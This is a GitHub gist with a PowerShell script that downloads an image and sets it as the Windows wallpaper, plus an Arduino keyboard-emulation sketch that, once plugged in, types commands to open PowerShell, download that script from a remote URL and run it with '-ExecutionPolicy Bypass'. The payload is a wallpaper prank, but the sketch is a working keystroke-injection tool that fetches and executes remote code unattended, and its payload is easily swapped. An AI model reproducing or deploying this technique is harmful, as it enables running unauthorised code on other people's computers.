Skip to content

Instantly share code, notes, and snippets.

@hoosnick
Last active March 27, 2024 19:20
Show Gist options
  • Save hoosnick/43d60d2f378de7b2e0c5fe1e1f851b8b to your computer and use it in GitHub Desktop.
Save hoosnick/43d60d2f378de7b2e0c5fe1e1f851b8b to your computer and use it in GitHub Desktop.
change windows wallpaper using powershell
# Define the URL of the image to download
$url = "https://raw.githubusercontent.com/MortezaShoeibi/Arduino-Scripts/master/assets/sunglasses-in-the-dark.jpg"
# Specify the path where you want to save the downloaded image
$imagePath = "$env:TEMP\wallpaper.jpg"
# Download the image from the web
Invoke-WebRequest -Uri $url -OutFile $imagePath
# Check if the download was successful
if (Test-Path $imagePath) {
# Set the downloaded image as the desktop wallpaper
# This uses the SystemParametersInfo Win32 API function
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Wallpaper {
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
public const int SPI_SETDESKWALLPAPER = 0x0014;
public const int SPIF_UPDATEINIFILE = 0x01;
public const int SPIF_SENDCHANGE = 0x02;
public static void SetDesktopWallpaper(string path) {
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
}
}
"@
# Set the downloaded image as the desktop wallpaper
[Wallpaper]::SetDesktopWallpaper($imagePath)
Write-Host "Desktop wallpaper has been changed."
} else {
Write-Host "Failed to download the image."
}
#include <Keyboard.h>
void setup() {
delay(500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.println("powershell");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(500);
Keyboard.println("invoke-webrequest -uri https://gist.githubusercontent.com/hoosnick/43d60d2f378de7b2e0c5fe1e1f851b8b/raw/585e88cdd7f82fe4e6a458ab5b2731ecd6195a47/change-wallpaper.ps1 -outfile wallpaper.ps1");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(500);
Keyboard.println("powershell -ExecutionPolicy Bypass -File .\\wallpaper.ps1");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(500);
}
void loop() {
// put your main code here, to run repeatedly:
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment